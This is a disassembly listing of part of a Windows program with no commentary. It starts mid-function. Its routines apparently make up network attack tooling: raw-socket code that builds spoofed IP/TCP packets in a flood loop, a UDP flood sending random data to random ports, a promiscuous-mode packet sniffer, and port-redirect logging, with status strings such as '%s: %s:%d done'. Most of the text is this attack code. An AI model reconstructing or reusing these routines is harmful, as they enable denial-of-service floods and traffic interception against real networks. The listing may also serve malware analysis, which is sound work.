push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 14h
mov dword ptr [esp+30h], 0FFFFFFFFh
lea ecx, [esp+10h]
call sub_401226
mov ecx, [esp+28h]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4283D0 proc near ; CODE XREF: sub_401BC7j
var_95 = byte ptr -95h
var_8C = dword ptr -8Ch
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
sub esp, 98h
push ebx
push ebp
push esi
push edi
mov ecx, 0Eh
xor eax, eax
lea edi, [esp+0A8h+var_3B]
mov [esp+0A8h+var_3C], 0
rep stosd
stosw
xor esi, esi
push 0FFh
push esi
mov [esp+0B0h+var_8C], esi
stosb
mov [esp+0B0h+var_95], 0
call sub_4021C6
sub_4283D0 endp
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+24h], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+2Dh], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push esi
mov [esp+36h], al
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 20h
cmp [esp+0B4h], si
mov [esp+17h], al
jnz short loc_428461
push 2710h
push 3E8h
mov byte ptr [esp+1Bh], 1
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_428461: ; CODE XREF: ___:00428441j
push 1
push esi
push esi
push 0FFh
push 3
push 2
mov dword ptr [esp+64h], 1
call near ptr 71AB8769h
nop
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [esp+18h], edi
jnz short loc_428494
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_428494: ; CODE XREF: ___:00428485j
lea eax, [esp+4Ch]
push 4
push eax
push 2
push esi
push edi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_4284B7
loc_4284AA: ; CODE XREF: ___:0042865Fj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 98h
retn
; ---------------------------------------------------------------------------
loc_4284B7: ; CODE XREF: ___:004284A8j
mov ecx, [esp+0B4h]
mov ebp, dword_511C38
push ecx
mov word ptr [esp+60h], 2
call ebp
mov ebx, [esp+0ACh]
push 28h
mov [esp+62h], ax
mov [esp+64h], ebx
mov byte ptr [esp+24h], 45h
call ebp
push 4000h
mov [esp+26h], ax
mov word ptr [esp+28h], 1
mov [esp+2Ah], si
mov byte ptr [esp+2Ch], 80h
mov byte ptr [esp+2Dh], 6
mov [esp+2Eh], si
mov [esp+34h], ebx
mov byte ptr [esp+44h], 50h
mov byte ptr [esp+45h], 2
call ebp
mov [esp+42h], ax
mov [esp+46h], si
mov [esp+3Ch], esi
nop
call near ptr 27E0CD2h
mov [esp+48h], eax
mov al, byte_4D84C9
test al, al
jz loc_42870B
mov ebx, dword_511AC8
mov byte ptr [esp+58h], 0
mov byte ptr [esp+59h], 6
jmp short loc_428555
; ---------------------------------------------------------------------------
xor esi, esi
loc_428555: ; CODE XREF: ___:00428551j
mov edi, [esp+1Ch]
mov edx, [esp+0B4h]
inc edi
push edx
mov [esp+20h], edi
mov [esp+48h], si
call ebp
push 14h
mov [esp+3Ah], ax
call ebp
mov [esp+5Ah], ax
mov eax, [esp+14h]
push eax
call near ptr 71AB2BC0h
nop
mov esi, eax
mov [esp+2Ch], esi
call ebx
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ebp
mov [esp+34h], ax
call ebx
mov edi, eax
shl edi, 10h
call ebx
or edi, eax
push edi
call ebp
mov edx, [esp+0ACh]
and eax, 0FFFFh
mov [esp+38h], eax
mov eax, [esp+58h]
mov [esp+6Ch], esi
mov ecx, 5
lea esi, [esp+34h]
lea edi, [esp+78h]
mov [esp+70h], edx
mov [esp+74h], eax
rep movsd
lea ecx, [esp+6Ch]
push 20h
push ecx
call sub_401A37
mov ecx, 5
lea esi, [esp+28h]
lea edi, [esp+74h]
lea edx, [esp+74h]
rep movsd
mov ecx, 5
lea esi, [esp+3Ch]
lea edi, [esp+88h]
mov [esp+4Ch], ax
push 28h
push edx
rep movsd
mov dword ptr [esp+0A4h], 0
call sub_401A37
mov edx, [esp+28h]
add esp, 10h
mov [esp+2Ah], ax
mov ecx, 5
lea esi, [esp+20h]
lea edi, [esp+6Ch]
lea eax, [esp+5Ch]
push 10h
rep movsd
push eax
push 0
lea ecx, [esp+78h]
push 28h
push ecx
push edx
call near ptr 71AB2C69h
nop
cmp eax, 0FFFFFFFFh
jz loc_4284AA
call near ptr 27E0CD2h
nop
mov edx, [esp+48h]
mov ecx, eax
sub ecx, edx
mov eax, 10624DD3h
mul ecx
mov eax, [esp+0B8h]
shr edx, 6
cmp edx, eax
ja short loc_428707
mov al, [esp+13h]
test al, al
jz short loc_4286A9
push 2710h
push 3E8h
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
mov [esp+0B4h], eax
loc_4286A9: ; CODE XREF: ___:0042868Ej
push 0FFh
push 0
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+24h], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+2Dh], al
call sub_4021C6
; ---------------------------------------------------------------------------
push 0FFh
push 0
mov [esp+36h], al
call sub_4021C6
; ---------------------------------------------------------------------------
db 8Bh, 94h, 24h
dd 0DCh, 8820C483h, 52172444h, 4095EFE8h, 0C9A09002h, 84004D84h
dd 4C850FC0h
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_428707: ; CODE XREF: ___:00428686j
mov edi, [esp+18h]
loc_42870B: ; CODE XREF: ___:0042853Bj
push edi
call near ptr 71AB9639h
nop
mov eax, [esp+1Ch]
pop edi
pop esi
pop ebp
lea eax, [eax+eax*4+5]
pop ebx
shl eax, 2
add esp, 98h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_428810 proc near ; CODE XREF: sub_401DCFj
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
mov eax, [esp+arg_0]
push esi
push eax
call sub_40188E
mov esi, eax
call near ptr 77C371D3h
nop
and eax, 800001FFh
jns short loc_428831
dec eax
or eax, 0FFFFFE00h
inc eax
loc_428831: ; CODE XREF: sub_428810+18j
mov ecx, [esp+4+arg_10]
mov edx, [esp+4+arg_C]
push ecx
mov ecx, [esp+8+arg_8]
lea eax, [eax+esi+100h]
push edx
push ecx
push eax
push esi
call sub_401BC7
sub_428810 endp
; ---------------------------------------------------------------------------
add esp, 18h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428880 proc near ; CODE XREF: sub_40178Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428880
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F9B
push offset aUdp ; "udp"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F11C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_428880 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4288F0 proc near ; CODE XREF: ___:004014F6j sub_40224Dj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401159
test [esp+4+arg_0], 1
jz short loc_428908
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_428908: ; CODE XREF: sub_4288F0+Dj
mov eax, esi
pop esi
retn 4
sub_4288F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428920 proc near ; CODE XREF: sub_401159j
jmp sub_4014CE
sub_428920 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428940 proc near ; CODE XREF: sub_401A14j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428940
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
push eax
mov eax, [esi+58h]
lea edi, [esi+3Bh]
push ecx
push edx
push eax
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)"
mov ecx, ebp
call sub_4014DD
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 2Ch
lea ecx, [esp+34h+var_24]
call sub_40142E
mov eax, [esi+58h]
mov ecx, [esi+54h]
mov edx, [esi+60h]
push eax
mov eax, [esi+5Ch]
push ecx
push edx
push eax
mov ecx, edi
mov [esp+44h+var_4], 0
call sub_4014DD
push eax
call sub_40173A
add esp, 14h
test eax, eax
jz short loc_428A0E
mov ecx, [esi+5Ch]
mov edx, [esi+58h]
push ecx
push edx
mov ecx, edi
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+44h+var_24]
push offset aSSDDone ; "%s: %s:%d done"
push eax
call sub_40102D
add esp, 18h
loc_428A0E: ; CODE XREF: sub_428940+A2j
lea ecx, [esp+34h+var_24]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4014DD
mov cl, [esi+90h]
mov dl, [esi+8Fh]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_428940 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428AB0 proc near ; CODE XREF: sub_40173Aj
var_36 = word ptr -36h
var_18 = byte ptr -18h
var_16 = word ptr -16h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_FFBC = dword ptr 0FFC0h
arg_FFCC = dword ptr 0FFD0h
arg_FFDC = dword ptr 0FFE0h
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFF0h
call sub_437B30
push esi
push 11h
push 2
push 2
nop
call near ptr 71AB3B91h
mov esi, [esp+10h+arg_FFE4]
mov [esp+10h+arg_0], eax
xor eax, eax
push esi
mov [esp+14h+var_C], eax
mov word ptr [esp+14h+var_C], 2
mov [esp+14h+var_8], eax
mov [esp+14h+var_4], eax
mov [esp+14h], eax
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_428B11
push esi
nop
call near ptr 71AB4FD4h
test eax, eax
jnz short loc_428B0A
pop esi
add esp, 0FFF0h
retn
; ---------------------------------------------------------------------------
loc_428B0A: ; CODE XREF: sub_428AB0+50j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_428B11: ; CODE XREF: sub_428AB0+45j
mov esi, [esp+18h+arg_FFEC]
push ebx
mov ebx, dword_511AC8
push ebp
test esi, esi
mov [esp+20h+var_10], eax
push edi
jnz short loc_428B4D
call ebx
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+28h+var_16], ax
mov [esp+28h+arg_FFE8], 1
jmp short loc_428B7E
; ---------------------------------------------------------------------------
loc_428B4D: ; CODE XREF: sub_428AB0+77j
push esi
call near ptr 71AB2B66h
nop
cmp esi, 1
mov [esp+28h+var_16], ax
jge short loc_428B6B
mov [esp+28h+arg_FFE8], 1
jmp short loc_428B7E
; ---------------------------------------------------------------------------
loc_428B6B: ; CODE XREF: sub_428AB0+ACj
cmp esi, 0FFFFh
jle short loc_428B7E
mov [esp+28h+arg_FFE8], 0FFFFh
loc_428B7E: ; CODE XREF: sub_428AB0+9Bj
; sub_428AB0+B9j ...
mov eax, [esp+28h+arg_FFE4]
test eax, eax
jnz short loc_428B94
mov [esp+28h+arg_FFE4], 1
loc_428B94: ; CODE XREF: sub_428AB0+D7j
mov ecx, [esp+28h+arg_FFDC]
mov eax, 66666667h
imul ecx
mov edi, [esp+28h+arg_FFE0]
xor esi, esi
sar edx, 2
mov eax, edx
shr eax, 1Fh
add edx, eax
test edi, edi
mov ebp, edx
jle short loc_428BCE
loc_428BBB: ; CODE XREF: sub_428AB0+11Cj
call ebx
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, edi
mov byte ptr [esp+esi+28h+var_8+3], dl
jl short loc_428BBB
loc_428BCE: ; CODE XREF: sub_428AB0+109j
mov edx, ebp
dec ebp
test edx, edx
mov [esp+28h+arg_FFDC], ebp
jle loc_428C60
mov ebp, dword_511C68
loc_428BE6: ; CODE XREF: sub_428AB0+1AEj
mov al, byte_4D84C9
test al, al
jz short loc_428C60
mov esi, 0Bh
loc_428BF4: ; CODE XREF: sub_428AB0+177j
lea eax, [esp+28h+var_18]
push 10h
push eax
push 0
call ebx
cdq
mov ecx, 0Ah
idiv ecx
mov eax, edi
lea ecx, [esp+34h+var_4]
sub eax, edx
mov edx, [esp+34h+var_8]
push eax
push ecx
push edx
call ebp
mov eax, [esp+40h+arg_FFCC]
push eax
nop
call near ptr 2831CE8h
dec esi
jnz short loc_428BF4
mov eax, [esp+44h+arg_FFCC]
test eax, eax
jnz short loc_428C4B
call ebx
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
nop
call near ptr 71AB2B66h
mov [esp+48h+var_36], ax
loc_428C4B: ; CODE XREF: sub_428AB0+182j
mov eax, [esp+48h+arg_FFBC]
mov edx, eax
dec eax
test edx, edx
mov [esp+48h+arg_FFBC], eax
jg short loc_428BE6
loc_428C60: ; CODE XREF: sub_428AB0+12Aj
; sub_428AB0+13Dj
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0FFF0h
retn
sub_428AB0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428CE0 proc near ; CODE XREF: sub_40209Aj
var_10 = word ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
mov ebx, [esp+14h+arg_4]
push esi
push edi
mov edi, [esp+1Ch+arg_0]
lea eax, [ebx-14h]
push eax
lea ecx, [edi+28h]
push ecx
call sub_401A37
mov edx, [edi+10h]
add esp, 8
mov [edi+0Ah], ax
mov [esp+1Ch+var_10], 2
push 1
push 0
push 0
push 0FFh
push 3
push 2
mov [esp+34h+var_C], edx
mov [esp+34h+arg_4], 1
nop
call near ptr 71AB8769h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_428D3D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_428D3D: ; CODE XREF: sub_428CE0+52j
lea eax, [esp+1Ch+arg_4]
push 4
push eax
push 2
push 0
push esi
nop
call near ptr 71AB3EA1h
cmp eax, 0FFFFFFFFh
jnz short loc_428D5D
pop edi
pop esi
or eax, eax
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_428D5D: ; CODE XREF: sub_428CE0+72j
lea ecx, [esp+1Ch+var_10]
push 10h
push ecx
push 0
push ebx
push edi
push esi
nop
call near ptr 71AB2C69h
push esi
mov edi, eax
call near ptr 71AB9639h
nop
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 10h
retn
sub_428CE0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428DC0 proc near ; CODE XREF: sub_401DB1j
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_28 = dword ptr -28h
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_10 = word ptr 14h
arg_12 = word ptr 16h
arg_14 = dword ptr 18h
arg_1C = byte ptr 20h
arg_24 = byte ptr 28h
arg_25 = byte ptr 29h
arg_B8 = byte ptr 0BCh
arg_C1 = byte ptr 0C5h
arg_C4 = dword ptr 0C8h
arg_C8 = dword ptr 0CCh
arg_100C8 = dword ptr 100CCh
arg_100D8 = dword ptr 100DCh
arg_10128 = dword ptr 1012Ch
arg_1012C = dword ptr 10130h
arg_10130 = dword ptr 10134h
mov eax, 10128h
call sub_437B30
push ebx
push ebp
push esi
push edi
mov ecx, 3Fh
xor eax, eax
lea edi, [esp+10h+arg_25]
mov [esp+10h+arg_24], 0
rep stosd
stosw
mov eax, [esp+10h+arg_10128]
push eax
call sub_40188E
mov ecx, [esp+14h+arg_1012C]
mov [esp+14h+arg_4], eax
push ecx
call sub_40188E
mov edi, [esp+18h+arg_10130]
add esp, 8
xor ebx, ebx
mov [esp+10h+arg_0], eax
mov [esp+10h+arg_10], 2
mov [esp+10h+arg_12], bx
mov [esp+10h+arg_14], ebx
mov esi, offset byte_448F40
mov eax, edi
loc_428E27: ; CODE XREF: sub_428DC0+85j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428E4B
test cl, cl
jz short loc_428E47
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428E4B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428E27
loc_428E47: ; CODE XREF: sub_428DC0+71j
xor eax, eax
jmp short loc_428E50
; ---------------------------------------------------------------------------
loc_428E4B: ; CODE XREF: sub_428DC0+6Dj
; sub_428DC0+7Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428E50: ; CODE XREF: sub_428DC0+89j
cmp eax, ebx
jnz short loc_428EA3
mov ebp, dword_4D80D7
cmp ebp, ebx
mov [esp+10h], ebp
jz short loc_428E67
cmp ebp, 0FFFFFFFFh
jnz short loc_428EAE
loc_428E67: ; CODE XREF: sub_428DC0+A0j
lea eax, [esp+10h+arg_24]
push 0FFh
push eax
call near ptr 71AB50C8h
nop
lea ecx, [esp+18h+arg_1C]
push ecx
nop
call near ptr 71AB4FD4h
movsx ecx, word ptr [eax+0Ah]
mov edx, [eax+0Ch]
mov eax, ecx
lea edi, [esp+1Ch+var_C]
mov esi, [edx]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ebp, [esp+1Ch+var_C]
jmp short loc_428EAE
; ---------------------------------------------------------------------------
loc_428EA3: ; CODE XREF: sub_428DC0+92j
push edi
call sub_40188E
add esp, 4
mov ebp, eax
loc_428EAE: ; CODE XREF: sub_428DC0+A5j
; sub_428DC0+E1j
cmp ebp, ebx
jz short loc_428EB7
cmp ebp, 0FFFFFFFFh
jnz short loc_428EBD
loc_428EB7: ; CODE XREF: sub_428DC0+F0j
mov ebp, dword_4D80D7
loc_428EBD: ; CODE XREF: sub_428DC0+F5j
mov edi, 1
mov [esp+10h+arg_14], ebp
push edi
push ebx
push ebx
push ebx
push 3
push 2
mov [esp+28h+arg_8], edi
nop
call near ptr 71AB8769h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_428FFD
lea ecx, [esp+28h+var_C]
push 4
push ecx
push 2
push ebx
push esi
call near ptr 71AB3EA1h
nop
cmp eax, 0FFFFFFFFh
jz loc_428FFD
lea edx, [esp+3Ch+var_18]
push 10h
push edx
push esi
nop
call near ptr 71AB3E00h
cmp eax, 0FFFFFFFFh
jz loc_428FFD
push ebx
lea eax, [esp+4Ch+var_14]
push ebx
push eax
push ebx
push ebx
lea ecx, [esp+5Ch+var_28]
push 4
push ecx
push 98000001h
push esi
mov [esp+6Ch+var_28], edi
nop
call near ptr 71AB4489h
cmp eax, 0FFFFFFFFh
jz loc_428FFD
mov edx, [esp+6Ch+arg_100D8]
cmp byte ptr [edx], 0
jz loc_428FE3
mov ebx, dword_511CA4
loc_428F53: ; CODE XREF: sub_428DC0+21Dj
mov ecx, 3FFFh
xor eax, eax
lea edi, [esp+6Ch+arg_C8]
push 0
rep stosd
stosw
stosb
lea eax, [esp+70h+arg_C8]
push 0FFFFh
push eax
push esi
call ebx
cmp [esp+7Ch+arg_C1], 2Fh
jnz short loc_428FD3
mov ecx, [esp+7Ch+arg_C4]
mov edx, [esp+7Ch+var_64]
cmp ecx, edx
jnz short loc_428FAE
mov ecx, [esp+7Ch+var_68]
lea edx, [esp+7Ch+arg_B8]
push eax
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], ecx
push edx
jmp short loc_428FCB
; ---------------------------------------------------------------------------
loc_428FAE: ; CODE XREF: sub_428DC0+1CFj
cmp ecx, [esp+7Ch+var_68]
jnz short loc_428FD3
push eax
lea eax, [esp+80h+arg_B8]
mov [esp+80h+arg_C4], ebp
mov [esp+80h+arg_C8], edx
push eax
loc_428FCB: ; CODE XREF: sub_428DC0+1ECj
call sub_40209A
add esp, 8
loc_428FD3: ; CODE XREF: sub_428DC0+1C0j
; sub_428DC0+1F2j
mov ecx, [esp+7Ch+arg_100C8]
cmp byte ptr [ecx], 0
jnz loc_428F53
loc_428FE3: ; CODE XREF: sub_428DC0+187j
mov edx, dword_511A90
add edx, 20h
push edx
nop
call near ptr 77C3EEF6h
add esp, 4
push esi
nop
call near ptr 71AB9639h
loc_428FFD: ; CODE XREF: sub_428DC0+11Dj
; sub_428DC0+137j ...
pop edi
pop esi
pop ebp
pop ebx
add esp, 10128h
retn
sub_428DC0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4290B0 proc near ; CODE XREF: sub_401898j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4290B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset off_446F0C
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F12C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4290B0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429120 proc near ; CODE XREF: sub_401FA0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429120
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
lea ecx, [esi+82h]
mov byte ptr [esp+14h+var_4], 5
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F13C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_429120 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4291E0 proc near ; CODE XREF: sub_4017A8j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4291E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F13C
lea ecx, [esi+82h]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+6Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+58h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4291E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4292B0: ; CODE XREF: ___:00401A23j
; ___:loc_402086j
push esi
mov esi, ecx
call sub_4017A8
test byte ptr [esp+8], 1
jz short loc_4292C8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4292C8: ; CODE XREF: ___:004292BDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4292E0 proc near ; CODE XREF: ___:00401096j sub_401C3Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4015FF
test [esp+4+arg_0], 1
jz short loc_4292F8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4292F8: ; CODE XREF: sub_4292E0+Dj
mov eax, esi
pop esi
retn 4
sub_4292E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_429310 proc near ; CODE XREF: sub_4015FFj
jmp sub_4017A8
sub_429310 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429330 proc near ; CODE XREF: sub_4015B9j
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea edi, [esi+82h]
lea ebx, [esi+58h]
mov ecx, edi
lea ebp, [esi+6Dh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
lea ecx, [esi+11h]
call sub_4017EE
push eax
push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""...
lea ecx, [esi+26h]
call sub_4014DD
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
mov edx, [esi+99h]
add esp, 24h
add edx, 11Ch
mov ecx, edi
push edx
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
call sub_401DB1
add esp, 10h
mov ecx, edi
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
mov ecx, ebp
call sub_4017EE
push eax
lea ecx, [esi+11h]
call sub_4017EE
push eax
push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"...
lea ecx, [esi+26h]
call sub_4014DD
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D8085
call sub_401857
add esp, 24h
pop edi
pop esi
pop ebp
pop ebx
retn
sub_429330 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429450 proc near ; CODE XREF: sub_401893j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429450
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push esi
mov esi, ecx
mov [esp+2Ch+var_28], esi
call sub_401FA0
lea ecx, [esi+0A1h]
mov [esp+2Ch+var_4], 0
call sub_40142E
push 0
push 2Ah
push 2Eh
push 2Eh
lea eax, [esp+3Ch+var_24]
push 22h
push eax
mov byte ptr [esp+44h+var_4], 1
mov dword ptr [esi], offset off_43F14C
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+2Ch+var_4], 2
call sub_4017EE
push eax
lea ecx, [esi+11h]
call sub_4015E1
lea ecx, [esp+2Ch+var_24]
mov byte ptr [esp+2Ch+var_4], 1
call sub_401226
mov ecx, [esp+2Ch+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 28h
retn
sub_429450 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429510 proc near ; CODE XREF: ___:00401E2Ej sub_4021D5j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BE5
test [esp+4+arg_0], 1
jz short loc_429528
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_429528: ; CODE XREF: sub_429510+Dj
mov eax, esi
pop esi
retn 4
sub_429510 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
